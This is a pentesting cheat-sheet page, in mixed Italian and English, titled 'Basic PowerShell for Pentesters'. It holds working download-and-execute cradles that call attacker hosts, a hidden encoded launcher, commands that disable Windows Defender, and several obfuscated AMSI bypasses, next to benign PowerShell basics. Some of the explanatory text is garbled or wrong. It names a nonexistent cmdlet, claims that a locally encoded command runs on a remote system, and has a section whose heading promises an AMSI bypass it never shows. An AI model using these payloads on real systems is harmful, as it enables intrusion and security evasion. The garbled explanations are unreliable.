Basic PowerShell for Pentesters

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Posizioni predefinite di PowerShell

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Comandi di base di PowerShell per iniziare

PowerShell è un potente strumento per l'automazione e la gestione di sistemi Windows. Di seguito sono riportati alcuni comandi di base di PowerShell che possono essere utili per iniziare:

Get-Command

Il comando Get-Command restituisce un elenco di tutti i comandi disponibili in PowerShell. Può essere utile per esplorare le diverse opzioni disponibili.

Esempio:

Get-Command

Get-Help

Il comando Get-Help fornisce informazioni dettagliate su un comando specifico. Può essere utilizzato per ottenere la sintassi, gli esempi e altre informazioni utili su come utilizzare un comando specifico.

Esempio:

Get-Help Get-Process

Get-Process

Il comando Get-Process restituisce un elenco dei processi in esecuzione sul sistema. Può essere utilizzato per monitorare i processi in esecuzione e ottenere informazioni come l'utilizzo della CPU e della memoria.

Esempio:

Get-Process

Get-Service

Il comando Get-Service restituisce un elenco dei servizi in esecuzione sul sistema. Può essere utilizzato per controllare lo stato dei servizi e avviare o arrestare servizi specifici.

Esempio:

Get-Service

Set-ExecutionPolicy

Il comando Set-ExecutionPolicy consente di impostare la politica di esecuzione di PowerShell. Può essere utilizzato per consentire l'esecuzione di script non firmati o limitare l'esecuzione di script a quelli firmati digitalmente.

Esempio:

Set-ExecutionPolicy RemoteSigned

Questi sono solo alcuni dei comandi di base di PowerShell che possono essere utili per iniziare. PowerShell offre molte altre funzionalità e comandi avanzati che possono essere esplorati ulteriormente.

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Scarica ed Esegui

To download and execute a file using PowerShell, you can use the following command:

Per scaricare ed eseguire un file utilizzando PowerShell, puoi utilizzare il seguente comando:

IEX (New-Object Net.WebClient).DownloadString('http://<URL>/file.ps1')

Replace <URL> with the actual URL of the file you want to download and execute.

Sostituisci <URL> con l'effettivo URL del file che desideri scaricare ed eseguire.

This command uses the DownloadString method from the Net.WebClient class to download the content of the file as a string. The IEX command then executes the downloaded script.

Questo comando utilizza il metodo DownloadString della classe Net.WebClient per scaricare il contenuto del file come stringa. Il comando IEX esegue quindi lo script scaricato.

Keep in mind that executing scripts from untrusted sources can be dangerous. Always ensure that you trust the source before running any downloaded scripts.

Ricorda che l'esecuzione di script da fonti non attendibili può essere pericolosa. Assicurati sempre di fidarti della fonte prima di eseguire qualsiasi script scaricato.

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Scarica ed esegui in background con bypass AMSI

In questo metodo, utilizzeremo PowerShell per scaricare ed eseguire un file in background, aggirando il sistema di protezione AMSI (Antimalware Scan Interface).

$URL = "URL_del_file_da_scaricare"
$Output = "percorso_del_file_di_output"

# Scarica il file
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($URL, $Output)

# Esegui il file in background
$WshShell = New-Object -ComObject WScript.Shell
$WshShell.Run($Output, 0)

Assicurati di sostituire "URL_del_file_da_scaricare" con l'URL del file che desideri scaricare e "percorso_del_file_di_output" con il percorso in cui desideri salvare il file scaricato.

Questo metodo sfrutta la funzione DownloadFile dell'oggetto WebClient per scaricare il file desiderato. Successivamente, utilizziamo l'oggetto WScript.Shell per eseguire il file in background utilizzando il metodo Run con il parametro 0, che indica di eseguire il file senza mostrare finestre o notifiche.

Ricorda che questo metodo è progettato per scopi di pentesting e dovrebbe essere utilizzato solo con il consenso del proprietario del sistema.

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Utilizzo di b64 da Linux

To encode a file in base64 from Linux, you can use the base64 command. Here's how you can do it:

$ base64 <file> > output.txt

Replace <file> with the path to the file you want to encode. The encoded output will be saved in the output.txt file.

To decode a base64-encoded file, you can use the following command:

$ base64 -d <file> > output.txt

Again, replace <file> with the path to the base64-encoded file. The decoded output will be saved in the output.txt file.

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Download

System.Net.WebClient

Il modulo System.Net.WebClient fornisce una classe che consente di scaricare file da un URL specificato. Per utilizzare questa classe, è necessario creare un'istanza di WebClient e utilizzare il metodo DownloadFile per specificare l'URL del file da scaricare e il percorso di destinazione in cui salvare il file scaricato.

Ecco un esempio di come utilizzare System.Net.WebClient per scaricare un file:

$webClient = New-Object System.Net.WebClient
$url = "https://www.example.com/file.txt"
$destination = "C:\path\to\save\file.txt"
$webClient.DownloadFile($url, $destination)

Nell'esempio sopra, viene creato un oggetto WebClient e viene specificato l'URL del file da scaricare ($url) e il percorso di destinazione in cui salvare il file scaricato ($destination). Il metodo DownloadFile viene quindi chiamato sull'oggetto WebClient per avviare il download del file.

È importante notare che il percorso di destinazione specificato ($destination) deve includere il nome del file da salvare. Se il percorso di destinazione specificato non esiste, verrà creato automaticamente.

Una volta completato il download, il file sarà disponibile nel percorso di destinazione specificato.

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Il comando Invoke-WebRequest in PowerShell viene utilizzato per inviare richieste HTTP o HTTPS a un server web e ottenere la risposta. Può essere utilizzato per eseguire varie operazioni, come scaricare file, inviare dati a un server o eseguire test di penetrazione.

Ecco un esempio di come utilizzare Invoke-WebRequest per scaricare un file da un server:

Invoke-WebRequest -Uri "https://www.example.com/file.txt" -OutFile "C:\path\to\save\file.txt"

Questo comando scaricherà il file file.txt dal server www.example.com e lo salverà nella posizione specificata.

È anche possibile inviare dati a un server utilizzando il metodo POST. Ecco un esempio:

Invoke-WebRequest -Uri "https://www.example.com/api" -Method POST -Body @{param1="value1"; param2="value2"}

Questo comando invierà una richiesta POST all'URL specificato con i parametri param1 e param2 impostati sui rispettivi valori.

Invoke-WebRequest è uno strumento potente per i pentester, in quanto consente di interagire con i server web e automatizzare varie operazioni. Tuttavia, è importante utilizzarlo in modo responsabile e nel rispetto delle leggi e delle politiche di sicurezza.

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

Wget is a command-line utility that allows you to retrieve files from the web using HTTP, HTTPS, and FTP protocols. It is commonly used for downloading files, mirroring websites, and recursive downloading. Wget is available for various operating systems, including Windows.

To use Wget, you need to open a command prompt or PowerShell window and enter the appropriate command. Here are some common examples:

  • Download a file:

wget <URL>
  • Download a file and save it with a different name:

wget -O <output_file> <URL>
  • Download multiple files:

wget <URL1> <URL2> <URL3>
  • Download a file and continue an interrupted download:

wget -c <URL>
  • Download a file and limit the download speed:

wget --limit-rate=<rate> <URL>
  • Download a file and specify the user agent:

wget --user-agent=<user_agent> <URL>
  • Download a file and specify the referer:

wget --referer=<referer> <URL>
  • Download a file and specify the output directory:

wget --directory-prefix=<directory> <URL>

These are just a few examples of what you can do with Wget. It is a powerful tool that can be used in various scenarios during penetration testing or other tasks.

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

BitsTransfer è uno strumento di PowerShell che consente di trasferire file tra un client e un server utilizzando il protocollo Background Intelligent Transfer Service (BITS). BITS è un servizio di Windows che consente il trasferimento di file in background, in modo che non influisca sulle prestazioni del sistema.

Per utilizzare BitsTransfer, è necessario importare il modulo BitsTransfer in PowerShell utilizzando il comando Import-Module BitsTransfer. Una volta importato il modulo, è possibile utilizzare i cmdlet forniti per avviare, monitorare e completare i trasferimenti di file.

Ecco alcuni esempi di utilizzo di BitsTransfer:

  • Avviare un trasferimento di file: Start-BitsTransfer -Source <percorso_file_sorgente> -Destination <percorso_file_destinazione>

  • Monitorare lo stato di un trasferimento: Get-BitsTransfer -AllUsers

  • Sospendere un trasferimento: Suspend-BitsTransfer -JobId <ID_trasferimento>

  • Riprendere un trasferimento sospeso: Resume-BitsTransfer -JobId <ID_trasferimento>

  • Cancellare un trasferimento: Remove-BitsTransfer -JobId <ID_trasferimento>

BitsTransfer è uno strumento utile per i pentester in quanto consente di trasferire file in modo efficiente durante un test di penetrazione. Tuttavia, è importante utilizzare BitsTransfer in modo responsabile e rispettare le leggi e le politiche applicabili durante l'utilizzo di questo strumento.

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

In questo capitolo, esploreremo come utilizzare Base64 per codificare comandi in PowerShell su Kali Linux.

Codifica Base64

La codifica Base64 è un metodo per rappresentare dati binari in forma di testo ASCII. In PowerShell, possiamo utilizzare il cmdlet ConvertTo-Base64 per codificare una stringa in Base64.

$command = "Get-Process"
$encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))

Esecuzione di comandi codificati

Una volta che abbiamo codificato il nostro comando in Base64, possiamo eseguirlo utilizzando il parametro -EncodedCommand di PowerShell.

powershell.exe -EncodedCommand <encoded_command>

Dove <encoded_command> è il comando codificato in Base64.

Esempio pratico

Supponiamo di voler eseguire il comando Get-Process su un sistema remoto utilizzando PowerShell su Kali Linux. Possiamo seguire i seguenti passaggi:

  1. Codifica il comando in Base64:

$command = "Get-Process"
$encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
  1. Esegui il comando codificato utilizzando PowerShell:

powershell.exe -EncodedCommand R2V0LVByb2Nlc3M=

In questo modo, il comando Get-Process verrà eseguito sul sistema remoto utilizzando PowerShell su Kali Linux.

Conclusioni

La codifica Base64 e l'utilizzo del parametro -EncodedCommand di PowerShell sono utili per eseguire comandi codificati su sistemi remoti. Questa tecnica può essere utile durante un test di penetrazione per evitare la rilevazione di comandi sospetti.

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

L'Execution Policy è una funzionalità di sicurezza di PowerShell che controlla l'esecuzione di script e file di configurazione. Può essere utilizzata per prevenire l'esecuzione di script non attendibili o dannosi. È possibile impostare l'Execution Policy su diversi livelli di restrizione, come "Restricted", "AllSigned", "RemoteSigned" o "Unrestricted", a seconda delle esigenze di sicurezza del sistema.

Il linguaggio vincolato è una modalità di PowerShell che limita le funzionalità del linguaggio per scopi di sicurezza. In questa modalità, vengono disabilitate alcune funzioni avanzate di PowerShell, come l'accesso al registro di sistema e l'esecuzione di comandi esterni. Il linguaggio vincolato può essere utilizzato per mitigare il rischio di esecuzione di script dannosi o non autorizzati.

La politica AppLocker è una funzionalità di sicurezza di Windows che consente di controllare quali applicazioni possono essere eseguite su un sistema. Utilizzando AppLocker, è possibile definire regole che specificano quali applicazioni sono consentite o vietate in base a vari criteri, come il percorso del file, l'hash del file o la firma digitale. AppLocker può essere utilizzato per prevenire l'esecuzione di applicazioni non autorizzate o dannose.

Abilita WinRM (Remote PS)

Per abilitare WinRM (Remote PowerShell) su un sistema Windows, è possibile utilizzare il seguente comando PowerShell:

Enable-PSRemoting -Force

Questo comando abiliterà il servizio WinRM e consentirà la gestione remota del sistema utilizzando PowerShell.

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Disabilita Defender

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

Bypass AMSI

amsi.dll viene caricato nel tuo processo e ha le esportazioni necessarie per interagire con qualsiasi applicazione. E poiché viene caricato nello spazio di memoria di un processo che controlli, puoi modificare il suo comportamento sovrascrivendo le istruzioni in memoria. In questo modo non rileverà nulla.

Pertanto, l'obiettivo dei bypass AMSI sarà quello di sovrascrivere le istruzioni di quella DLL in memoria per rendere inutile la rilevazione.

Pagina web per generare bypass AMSI: https://amsi.fail/

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

AMSI Bypass 2 - Hooking delle chiamate API gestite

Controlla questo post per informazioni dettagliate e il codice. Introduzione:

Questa nuova tecnica si basa sull'hooking delle chiamate API dei metodi .NET. Come si scopre, i metodi .NET devono essere compilati in istruzioni native della macchina in memoria che assomigliano molto ai metodi nativi. Questi metodi compilati possono essere hookati per cambiare il flusso di controllo di un programma.

I passaggi per eseguire l'hooking delle chiamate API dei metodi .NET sono:

  1. Identificare il metodo di destinazione da hookare

  2. Definire un metodo con lo stesso prototipo di funzione del metodo di destinazione

  3. Utilizzare la riflessione per trovare i metodi

  4. Assicurarsi che ogni metodo sia stato compilato

  5. Trovare la posizione di ogni metodo in memoria

  6. Sovrascrivere il metodo di destinazione con istruzioni che puntano al nostro metodo maligno

AMSI Bypass 3 - Privilegio SeDebug

Seguendo questa guida e il codice puoi vedere come, con sufficienti privilegi per eseguire il debug dei processi, puoi avviare un processo powershell.exe, eseguirne il debug, monitorare quando carica amsi.dll e disabilitarlo.

AMSI Bypass - Ulteriori risorse

Cronologia di PowerShell

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Trova file più recenti

Opzioni: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc

# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName

# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName

Ottenere le autorizzazioni

To determine the permissions of a file or directory in Windows, you can use the Get-Acl cmdlet in PowerShell. This cmdlet retrieves the access control list (ACL) for the specified object.

Get-Acl -Path C:\path\to\file.txt

This command will display the permissions associated with the specified file or directory. The output will include information such as the owner, group, and individual permissions for the file or directory.

To view the permissions for multiple files or directories, you can use the Get-ChildItem cmdlet to retrieve a list of objects and then pipe the results to Get-Acl.

Get-ChildItem -Path C:\path\to\directory | Get-Acl

This command will display the permissions for all files and directories within the specified directory.

By understanding the permissions associated with a file or directory, you can assess the level of access and control that users or groups have over the object. This information can be useful for identifying potential security vulnerabilities or misconfigurations.

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

Versione del sistema operativo e HotFixes

Per ottenere informazioni sulla versione del sistema operativo e sugli HotFixes installati, è possibile utilizzare il seguente comando PowerShell:

Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, CSDVersion, OSArchitecture, BuildNumber

Questo comando restituirà i seguenti dettagli:

  • Caption: il nome del sistema operativo installato.

  • CSDVersion: la versione del Service Pack installato, se presente.

  • OSArchitecture: l'architettura del sistema operativo (32-bit o 64-bit).

  • BuildNumber: il numero di build del sistema operativo.

Per ottenere informazioni sugli HotFixes installati, è possibile utilizzare il seguente comando PowerShell:

Get-HotFix | Select-Object HotFixID, InstalledOn

Questo comando restituirà i seguenti dettagli per ogni HotFix installato:

  • HotFixID: l'ID del HotFix.

  • InstalledOn: la data di installazione del HotFix.

È possibile eseguire questi comandi in PowerShell per ottenere le informazioni desiderate.

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Ambiente

The following techniques and commands are intended to be used in a Windows environment. It is recommended to have a basic understanding of PowerShell scripting and Windows operating system.

Le seguenti tecniche e comandi sono destinati ad essere utilizzati in un ambiente Windows. Si consiglia di avere una conoscenza di base dello scripting di PowerShell e del sistema operativo Windows.

PowerShell Basics

PowerShell is a powerful scripting language and automation framework developed by Microsoft. It provides a command-line interface (CLI) and a scripting environment that allows users to automate tasks and manage systems.

PowerShell è un potente linguaggio di scripting e framework di automazione sviluppato da Microsoft. Fornisce un'interfaccia a riga di comando (CLI) e un ambiente di scripting che consente agli utenti di automatizzare compiti e gestire sistemi.

Running PowerShell Scripts

To run a PowerShell script, open a PowerShell session and use the .\ prefix followed by the script's file path. For example:

Per eseguire uno script di PowerShell, aprire una sessione di PowerShell e utilizzare il prefisso .\ seguito dal percorso del file dello script. Ad esempio:

.\script.ps1

PowerShell Execution Policy

PowerShell has an execution policy that determines which scripts can be run on a system. By default, the execution policy is set to Restricted, which prevents the execution of scripts. To change the execution policy, use the Set-ExecutionPolicy command. For example:

PowerShell ha una policy di esecuzione che determina quali script possono essere eseguiti su un sistema. Per impostazione predefinita, la policy di esecuzione è impostata su Restricted, che impedisce l'esecuzione degli script. Per modificare la policy di esecuzione, utilizzare il comando Set-ExecutionPolicy. Ad esempio:

Set-ExecutionPolicy Unrestricted

PowerShell Help

PowerShell provides a built-in help system that allows users to get information about commands and modules. To get help for a specific command, use the Get-Help command followed by the command's name. For example:

PowerShell fornisce un sistema di aiuto integrato che consente agli utenti di ottenere informazioni sui comandi e sui moduli. Per ottenere aiuto per un comando specifico, utilizzare il comando Get-Help seguito dal nome del comando. Ad esempio:

Get-Help Get-Process

PowerShell Variables

PowerShell allows users to store and manipulate data using variables. Variables in PowerShell are represented by a dollar sign $ followed by the variable name. For example:

PowerShell consente agli utenti di memorizzare e manipolare dati utilizzando variabili. Le variabili in PowerShell sono rappresentate da un segno di dollaro $ seguito dal nome della variabile. Ad esempio:

$variable = "Hello, World!"

PowerShell Pipelines

PowerShell pipelines allow users to chain commands together, passing the output of one command as the input to another command. The pipeline operator | is used to connect commands. For example:

Le pipeline di PowerShell consentono agli utenti di concatenare comandi, passando l'output di un comando come input a un altro comando. L'operatore di pipeline | viene utilizzato per collegare i comandi. Ad esempio:

Get-Process | Where-Object { $_.Name -eq "chrome" }

PowerShell Modules

PowerShell modules are collections of commands and functions that can be imported and used in scripts. To import a module, use the Import-Module command followed by the module's name. For example:

I moduli di PowerShell sono collezioni di comandi e funzioni che possono essere importati e utilizzati negli script. Per importare un modulo, utilizzare il comando Import-Module seguito dal nome del modulo. Ad esempio:

Import-Module ActiveDirectory

PowerShell Aliases

PowerShell aliases are shortcuts for commands and cmdlets. They allow users to use shorter names or alternative names for commonly used commands. To view a list of available aliases, use the Get-Alias command. For example:

Gli alias di PowerShell sono scorciatoie per comandi e cmdlet. Consentono agli utenti di utilizzare nomi più brevi o nomi alternativi per comandi comunemente utilizzati. Per visualizzare un elenco di alias disponibili, utilizzare il comando Get-Alias. Ad esempio:

Get-Alias

Conclusion

This guide covered the basics of PowerShell for pentesters. It provided an overview of the PowerShell environment, basic commands, execution policy, help system, variables, pipelines, modules, and aliases. With this knowledge, pentesters can leverage PowerShell to automate tasks and manage systems in a Windows environment.

Questa guida ha coperto le basi di PowerShell per i pentester. Ha fornito una panoramica dell'ambiente PowerShell, dei comandi di base, della policy di esecuzione, del sistema di aiuto, delle variabili, delle pipeline, dei moduli e degli alias. Con questa conoscenza, i pentester possono sfruttare PowerShell per automatizzare compiti e gestire sistemi in un ambiente Windows.

Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

Altre unità collegate

Sometimes, during a penetration test, you may find yourself in a situation where you have access to a compromised system but you are limited to a specific user account or directory. In such cases, it can be useful to identify and access other connected drives on the system.

In PowerShell, you can use the Get-PSDrive cmdlet to list all the drives available on the system, including local drives, network drives, and other types of drives. Here's an example of how you can use this cmdlet:

Get-PSDrive

This command will display a list of all the drives along with their names, types, and root paths. By examining this list, you can identify any additional drives that may be connected to the system.

Once you have identified the additional drives, you can use the Set-Location cmdlet to navigate to a specific drive and access its contents. Here's an example:

Set-Location -Path D:

In this example, we are navigating to the D: drive. Once you are in the desired drive, you can use other PowerShell commands to interact with the files and directories on that drive.

Remember, accessing other connected drives can be useful for lateral movement and further exploration during a penetration test. However, always ensure that you have the necessary permissions and legal authorization before accessing any system or drive.

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Cestino di riciclo

The Recycle Bin is a feature in Windows that allows users to temporarily store deleted files and folders. When a file or folder is deleted, it is moved to the Recycle Bin instead of being permanently deleted from the system. This provides a safety net in case the user accidentally deletes something and wants to restore it.

To access the Recycle Bin, simply double-click on its icon on the desktop. This will open a window displaying all the files and folders that have been deleted. From here, you can select the items you want to restore and click on the "Restore" button to move them back to their original location.

It's important to note that the Recycle Bin has a limited storage capacity. Once it reaches its maximum size, older items will be automatically deleted to make room for new ones. You can adjust the size of the Recycle Bin by right-clicking on its icon, selecting "Properties," and adjusting the slider under the "Maximum size" section.

If you want to permanently delete a file or folder without sending it to the Recycle Bin, you can do so by selecting the item and pressing the "Shift" key while pressing the "Delete" key. This will bypass the Recycle Bin and permanently delete the selected item.

In summary, the Recycle Bin is a useful feature in Windows that provides a safety net for deleted files and folders. It allows users to easily restore items that were accidentally deleted and provides a way to permanently delete files and folders if needed.

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/gestione-del-cestino-con-powershell/

Ricerca di Dominio

pagePowerView/SharpView

Utenti

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Stringa sicura in testo normale

In alcuni casi, potresti dover convertire una stringa sicura in testo normale per poterla utilizzare in determinate operazioni. Ecco come farlo utilizzando PowerShell:

$secureString = ConvertTo-SecureString -String "PasswordSicura" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

In questo esempio, la variabile $secureString contiene la stringa sicura che desideri convertire. Utilizzando il comando ConvertTo-SecureString, specifica la stringa sicura da convertire utilizzando l'opzione -String. L'opzione -AsPlainText indica che la stringa deve essere convertita in testo normale. L'opzione -Force è necessaria per forzare la conversione.

Successivamente, utilizzando la classe [System.Runtime.InteropServices.Marshal], puoi convertire la stringa sicura in testo normale utilizzando il metodo SecureStringToBSTR. Infine, utilizzando il metodo PtrToStringAuto, puoi ottenere il testo normale dalla stringa convertita.

Ricorda che la conversione di una stringa sicura in testo normale può rappresentare un rischio per la sicurezza, quindi utilizza questa tecnica con cautela e solo quando strettamente necessario.

